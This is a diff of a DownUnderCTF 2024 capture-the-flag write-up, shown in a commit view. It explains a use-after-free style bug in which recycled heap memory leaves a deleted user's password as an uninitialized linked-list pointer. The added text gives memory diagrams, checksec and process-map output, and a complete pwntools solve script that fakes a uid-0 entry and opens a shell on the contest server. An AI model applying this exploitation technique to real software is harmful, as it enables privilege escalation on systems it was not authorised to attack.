@@ -187,10 +187,7 @@ struct user_entry {
187
187
};
188
188
```
189
189
190
- In memory it would look like like this:
191
-
192
- * 3 user_entries with addresses 0x100000, 0x100040, 0x100080
193
- * 3 user accounts with addresses 0x100020, 0x100060, 0x1000a0 (root, bob and alice)
190
+ Example of memory layout of 3 user_entries (0x100000, 0x100040, 0x100080) with 3 user accounts (0x100020, 0x100060, 0x1000a0 (root, bob and alice)):
194
191
195
192
``` graphviz dot attack_plan.svg
196
193
digraph g {
@@ -214,8 +211,8 @@ graph [
214
211
"element0" [
215
212
label=<<table border =" 0" cellborder =" 1" cellspacing =" 0" cellpadding =" 4" >
216
213
<tr > <td PORT =" head" > <b >user_entry 0x100000 </b ></td > </tr >
217
- <tr > <td align =" left" PORT =" prev" > prev: null </td > </tr >
218
214
<tr > <td align =" left" PORT =" user" > user: 0x100020 </td > </tr >
215
+ <tr > <td align =" left" PORT =" prev" > prev: null </td > </tr >
219
216
<tr > <td align =" left" PORT =" next" > next: 0x100040 </td > </tr >
220
217
</table >>
221
218
fillcolor="#88ff0022"
@@ -224,8 +221,8 @@ graph [
224
221
"element1" [
225
222
label=<<table border =" 0" cellborder =" 1" cellspacing =" 0" cellpadding =" 4" >
226
223
<tr > <td PORT =" head" > <b >user_entry 0x100040 </b ></td > </tr >
227
- <tr > <td align =" left" PORT =" prev" > prev: 0x100000 </td > </tr >
228
224
<tr > <td align =" left" PORT =" user" > user: 0x100060 </td > </tr >
225
+ <tr > <td align =" left" PORT =" prev" > prev: 0x100000 </td > </tr >
229
226
<tr > <td align =" left" PORT =" next" > next: 0x10080 </td > </tr >
230
227
</table >>
231
228
fillcolor="#88ff0022"
@@ -234,8 +231,8 @@ graph [
234
231
"element2" [
235
232
label=<<table border =" 0" cellborder =" 1" cellspacing =" 0" cellpadding =" 4" >
236
233
<tr > <td PORT =" head" > <b >user_entry 0x100080 </b ></td > </tr >
237
- <tr > <td align =" left" PORT =" prev" > prev: 0x100040 </td > </tr >
238
234
<tr > <td align =" left" PORT =" user" > user: 0x1000a0 </td > </tr >
235
+ <tr > <td align =" left" PORT =" prev" > prev: 0x100040 </td > </tr >
239
236
<tr > <td align =" left" PORT =" next" > next: null </td > </tr >
240
237
</table >>
241
238
fillcolor="#88ff0022"
@@ -331,15 +328,11 @@ long sign_in() {
331
328
}
332
329
```
333
330
334
- So it ` sing_in ` will iterate over ` next ` values until it reaches null and treat memory at this ` next ` address as holder for
335
- username and password.
336
-
337
331
When we delete user, memory would look like:
338
332
339
-
340
333
* 2 user_entries with addresses 0x100000, 0x100040
341
334
* 2 user accounts with addresses 0x100020, 0x100060 (root, bob)
342
- * two recycled memory blocks that will be aviailable for view allocations: 0x100080, 0x1000a0
335
+ * two recycled memory blocks that will be available for view allocations: 0x100080, 0x1000a0
343
336
344
337
``` graphviz dot attack_plan.svg
345
338
digraph g {
@@ -362,8 +355,8 @@ graph [
362
355
"element0" [
363
356
label=<<table border =" 0" cellborder =" 1" cellspacing =" 0" cellpadding =" 4" >
364
357
<tr > <td PORT =" head" > <b >user_entry 0x100000 </b ></td > </tr >
365
- <tr > <td align =" left" PORT =" prev" > prev: null </td > </tr >
366
358
<tr > <td align =" left" PORT =" user" > user: 0x100020 </td > </tr >
359
+ <tr > <td align =" left" PORT =" prev" > prev: null </td > </tr >
367
360
<tr > <td align =" left" PORT =" next" > next: 0x100040 </td > </tr >
368
361
</table >>
369
362
fillcolor="#88ff0022"
@@ -372,9 +365,9 @@ graph [
372
365
"element1" [
373
366
label=<<table border =" 0" cellborder =" 1" cellspacing =" 0" cellpadding =" 4" >
374
367
<tr > <td PORT =" head" > <b >user_entry 0x100040 </b ></td > </tr >
375
- <tr > <td align =" left" PORT =" prev" > prev: 0x100000 </td > </tr >
376
368
<tr > <td align =" left" PORT =" user" > user: 0x100060 </td > </tr >
377
- <tr > <td align =" left" PORT =" next" > null </td > </tr >
369
+ <tr > <td align =" left" PORT =" prev" > prev: 0x100000 </td > </tr >
370
+ <tr > <td align =" left" PORT =" next" > next: null </td > </tr >
378
371
</table >>
379
372
fillcolor="#88ff0022"
380
373
shape=plain
@@ -447,9 +440,10 @@ graph [
447
440
]
448
441
}
449
442
```
443
+ Note that recycled memory is not zeroed out, it still contains data.
450
444
451
445
Now if we create a new user, recycled memory 0x100080 and 0x1000a0 will be reused for user account and user entry. Note that last
452
- freed in ` remove_account ` item will be reused first by malloc in sign_up (effectively swaping addresses of user_entry and user account).
446
+ freed blocked in ` remove_account ` item will be used first by malloc in sign_up (LIFO, effectively swaping addresses of user_entry and user account).
453
447
This change is highlighted compared to _ figure 1_ :
454
448
455
449
``` graphviz dot attack_plan.svg
@@ -529,9 +523,9 @@ graph [
529
523
"user2" [
530
524
label=<<table border =" 0" cellborder =" 1" cellspacing =" 0" cellpadding =" 4" >
531
525
<tr > <td PORT =" head" BGCOLOR =" #b2b3b4aa" > <b >user 0x100080 </b ></td > </tr >
532
- <tr > <td align =" left" > id: 2 </td > </tr >
533
- <tr > <td align =" left" > username: alice </td > </tr >
534
- <tr > <td align =" left" > password: pasword2 </td > </tr >
526
+ <tr > <td align =" left" > id: 3 </td > </tr >
527
+ <tr > <td align =" left" > username: james </td > </tr >
528
+ <tr > <td align =" left" > password: password3 </td > </tr >
535
529
</table >>
536
530
fillcolor="#0044ff22"
537
531
shape=plain
@@ -546,25 +540,224 @@ graph [
546
540
547
541
As you can see on figure3, password of deleted user is used as address of the next user entry. So our plan is:
548
542
549
- 1 . Find memory address that can be interpreted as user account with user account data structured with id 0 and username and password that we know.
550
- 2 . Create user account user1 using address from step 1 as a password.
543
+ 1 . Find memory address that can be interpreted as user entry for account with id 0 and username and password that we know.
544
+ 2 . Create user account using address from step 1 as a password.
551
545
3 . Delete the account.
552
- 4 . Create new account user2 , this will trigger the exploit and create new entry with ` next ` set to address we selected in step 1.
546
+ 4 . Create new account, this will trigger the exploit and create new entry with uninitialized ` next ` value. It will be address we selected in step 1. Not so "undeterminate", huh?
553
547
5 . Sign in with username and password that we got in step 1.
554
548
555
- ** Step 1** : we are looking for memory address for data structure:
549
+ ** Step 1** : scan memory
550
+
551
+ We are looking for address that points to user account structure:
556
552
``` c
557
553
typedef struct {
558
554
long uid;
559
555
char username[8];
560
556
char password[8];
561
557
}
562
558
```
563
- We want uid to be 0, and username and password to be known. The best place to start in my opinion is binary code itself as
564
- its static and we can scan it.
559
+ Uid should be 0, and username and password any as long as we know it.
560
+
561
+ Time to check binary protection:
562
+ ``` bash
563
+ $ checksec --file=app
564
+ RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
565
+ Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 54 Symbols No 0 2 app
566
+ ```
565
567
568
+ PIE is disabled. This means code will be loaded always to the same addresses. This looks like the best place to look for pointer to
569
+ user account as its value will be same every time app launched.
570
+
571
+ Module entry point is 0x400000, we can see it in process mapping:
572
+ ``` bash hl_lines="2"
573
+ $ cat /proc/5539/maps
574
+ 00400000-00401000 r--p 00000000 08:01 1209740 /home/kali/Downloads/app
575
+ 00401000-00402000 r-xp 00001000 08:01 1209740 /home/kali/Downloads/app
576
+ 00402000-00403000 r--p 00002000 08:01 1209740 /home/kali/Downloads/app
577
+ 00403000-00404000 r--p 00002000 08:01 1209740 /home/kali/Downloads/app
578
+ 00404000-00405000 rw-p 00003000 08:01 1209740 /home/kali/Downloads/app
579
+ 7f70658c0000-7f70658c3000 rw-p 00000000 00:00 0
580
+ 7f70658c3000-7f70658e9000 r--p 00000000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
581
+ 7f70658e9000-7f7065a40000 r-xp 00026000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
582
+ 7f7065a40000-7f7065a95000 r--p 0017d000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
583
+ 7f7065a95000-7f7065a99000 r--p 001d1000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
584
+ 7f7065a99000-7f7065a9b000 rw-p 001d5000 08:01 440309 /usr/lib/x86_64-linux-gnu/libc.so.6
585
+ 7f7065a9b000-7f7065aa8000 rw-p 00000000 00:00 0
586
+ 7f7065ac9000-7f7065acb000 rw-p 00000000 00:00 0
587
+ 7f7065acb000-7f7065acc000 r--p 00000000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
588
+ 7f7065acc000-7f7065af1000 r-xp 00001000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
589
+ 7f7065af1000-7f7065afb000 r--p 00026000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
590
+ 7f7065afb000-7f7065afd000 r--p 00030000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
591
+ 7f7065afd000-7f7065aff000 rw-p 00032000 08:01 440306 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
592
+ 7ffe04ef5000-7ffe04f16000 rw-p 00000000 00:00 0 [stack]
593
+ 7ffe04fc4000-7ffe04fc8000 r--p 00000000 00:00 0 [vvar]
594
+ 7ffe04fc8000-7ffe04fca000 r-xp 00000000 00:00 0 [vdso]
595
+ ```
596
+
597
+ Script to find address that points to memory that can be interpreted as user account with id 0:
598
+
599
+ ``` python title="script.py"
600
+ # start scan of memory at base address of the application
601
+ module_start = 0x 400000
602
+ # we only interested in readonly memory (24 bytes padding for safety as user structure is 24 bytes long)
603
+ module_end = 0x 404000 - 24
604
+
605
+ # iterate over memory addresses
606
+ for i in range (module_start, module_end):
607
+ # read value stored at i (unpack convertes from little endian byte array into int)
608
+ addr = unpack(elfexe.read(i, 8 ))
609
+ # if value i is a number in range module_start..module_end it can be interpreted as address.
610
+ # Also check value that address i is pointing to, target application will treat that value as user ID.
611
+ # We are looking for user ID equal to 0
612
+ if module_start < addr < module_end and unpack(elfexe.read(addr, 8 )) == 0 :
613
+ fake_root_entry = i
614
+ break
615
+
616
+ # use fake user entry that we found to calculate user account details
617
+ fake_account_address = unpack(elfexe.read(fake_root_entry, 8 ))
618
+ # first field of user structuture is user ID 8 bytes
619
+ fake_account_id = unpack(elfexe.read(fake_account_address, 8 ))
620
+ # second field (offset 8) in user structure is username 8 bytes
621
+ fake_account_username = elfexe.read(fake_account_address + 8 , 8 )
622
+ # third field (offset sum of length previous files 8 + 8) in user structure is password 8 bytes
623
+ fake_account_password = elfexe.read(fake_account_address + 16 , 8 )
624
+
625
+ print (f " fake entry address { hex (fake_root_entry)} " )
626
+ print (f " { fake_account_id= } " )
627
+ print (f " fake account username { binascii.hexlify(fake_account_username)} " )
628
+ print (f " fake account password { binascii.hexlify(fake_account_password)} " )
629
+ ```
630
+
631
+ ``` bash title="output.txt"
632
+ fake entry address 0x403eb8
633
+ fake_account_id=0
634
+ fake account username b' 0000000000000000'
635
+ fake account password b' 0000000000000000'
636
+ ```
637
+
638
+ ** Steps 2-5** : exploit
639
+
640
+ I used pwntools to automate necessary steps (account creation, sign in, deletion etc...):
641
+
642
+ ``` python
643
+ io.recvuntil(b " > " ) # wait till target application is initialized
644
+ io.sendline(b ' 1' ) # enter choice 1 - create account
645
+ io.recvuntil(b " :" ) # wait username prompt
646
+ io.sendline(b " one" ) # enter username
647
+ io.recvuntil(b " :" ) # wait password prompt
648
+ io.sendline(pack(fake_root_entry)) # send address as fake root entry as password (converting into little endian)
649
+ io.recvuntil(b " > " ) # wait prompt
650
+ io.sendline(b ' 2' ) # enter choice 2 - sign in
651
+ io.recvuntil(b " :" ) # wait username prompt
652
+ io.sendline(b " one" ) # enter username
653
+ io.recvuntil(b " :" ) # wait password prompt
654
+ io.sendline(pack(fake_root_entry)) # enter password
655
+ io.recvuntil(b " > " ) # wait prompt
656
+ io.sendline(b ' 3' ) # enter choice 3 - remove account
657
+ io.recvuntil(b " > " ) # wait prompt
658
+ io.sendline(b ' 1' ) # enter choice 1 - create account
659
+ io.recvuntil(b " :" ) # wait username prompt
660
+ io.sendline(b " two" ) # enter username
661
+ io.recvuntil(b " :" ) # wait password prompt
662
+ io.sendline(b " two" ) # enter password
663
+ io.recvuntil(b " > " ) # wait prompt
664
+ io.sendline(b ' 2' ) # enter choice 2 - signup
665
+ io.recvuntil(b " :" ) # wait username prompt
666
+ # enter username and password of our fake user account
667
+ # note that both fields are concatenated.
668
+ # if we use sendline(fake_account_username) then sendline(fake_account_password)
669
+ # then first sendline would append '\n' and password wont match
670
+ io.sendline(fake_account_username + fake_account_password)
671
+ io.recvuntil(b " > " ) # wait prompt
672
+ io.sendline(b ' 4' ) # enter choice 4 - Get shell
673
+ ```
674
+
675
+ And full script:
676
+
677
+ ??? success "solve.py"
678
+ ```py
679
+ from pwn import *
680
+
681
+ context.binary = elfexe = ELF('./app')
682
+ libc = elfexe.libc
683
+
684
+ context.log_level = 'warn'
685
+
686
+ arguments = [ ]
687
+ if args[ 'REMOTE'] :
688
+ remote_server = '2024.ductf.dev'
689
+ remote_port = 30022
690
+ io = remote(remote_server, remote_port)
691
+ else:
692
+ io = process([ elfexe.path] + arguments)
693
+
694
+ # start scan of memory at base address of the application
695
+ module_start = 0x400000
696
+ # we only interested in readonly memory (16 bytes padding for safety as user structure is 24 bytes long)
697
+ module_end = 0x404000 - 24
698
+
699
+ # iterate over memory addresses
700
+ for i in range(module_start, module_end):
701
+ # read value stored at i (unpack convertes from little endian byte array into int)
702
+ addr = unpack(elfexe.read(i, 8))
703
+ # if value i is address in range module_start..module_end
704
+ # then read value that i is pointing to - its user ID, if user ID is 0 then we found good address
705
+ # to use as fake user entry
706
+ if module_start < addr < module_end and unpack(elfexe.read(addr, 8)) == 0:
707
+ fake_root_entry = i
708
+ break
709
+
710
+ # use fake user entry that we found calculate user account details
711
+ fake_account_address = unpack(elfexe.read(fake_root_entry, 8))
712
+ fake_account_id = unpack(elfexe.read(fake_account_address, 8))
713
+ fake_account_username = elfexe.read(fake_account_address + 8, 8)
714
+ fake_account_password = elfexe.read(fake_account_address + 16, 8)
715
+
716
+ print(f"fake entry address {hex(fake_root_entry)}")
717
+ print(f"{fake_account_id=}")
718
+ print(f"fake account username {binascii.hexlify(fake_account_username)}")
719
+ print(f"fake account password {binascii.hexlify(fake_account_password)}")
720
+
721
+ io.recvuntil(b"> ") # wait till target application initialised
722
+ io.sendline(b'1') # enter choice 1 - create account
723
+ io.recvuntil(b":") # wait username prompt
724
+ io.sendline(b"one") # enter username
725
+ io.recvuntil(b":") # wait password prompt
726
+ io.sendline(pack(fake_root_entry)) # send address as fake root entry as password (converting into little endian)
727
+ io.recvuntil(b"> ") # wait prompt
728
+ io.sendline(b'2') # enter choice 2 - sign in
729
+ io.recvuntil(b":") # wait username prompt
730
+ io.sendline(b"one") # enter username
731
+ io.recvuntil(b":") # wait password prompt
732
+ io.sendline(pack(fake_root_entry)) # enter password
733
+ io.recvuntil(b"> ") # wait prompt
734
+ io.sendline(b'3') # enter choice 3 - remove account
735
+ io.recvuntil(b"> ") # wait prompt
736
+ io.sendline(b'1') # enter choice 1 - create account
737
+ io.recvuntil(b":") # wait username prompt
738
+ io.sendline(b"two") # enter username
739
+ io.recvuntil(b":") # wait password prompt
740
+ io.sendline(b"two") # enter password
741
+ io.recvuntil(b"> ") # wait prompt
742
+ io.sendline(b'2') # enter choice 2 - signup
743
+ io.recvuntil(b":") # wait username prompt
744
+ # enter username and password of the fake entity that has id 0
745
+ # note that both fields are concatenated.
746
+ # if we use sendline(fake_account_username) then sendline(fake_account_password)
747
+ # then because sendline appends '\n' it would be treated as part of password and sign in fails
748
+ io.sendline(fake_account_username + fake_account_password)
749
+ io.recvuntil(b"> ") # failed prompt
750
+ io.sendline(b'4') # enter choice 4 - Get shell
751
+
752
+ # we should have remove shell now - switch to interactive mode
753
+ io.interactive()
754
+ io.close()
755
+ ```
566
756
567
757
## Epilogue
568
758
569
759
* Official website: [ https://downunderctf.com/ ] ( https://downunderctf.com/ )
570
760
* Official writeups: https://github.com/DownUnderCTF/Challenges_2024_Public
761
+
762
+ * [ PIE] : Position Independent Executable
763
+ * [ LIFO] : Last In First Out
0 commit comments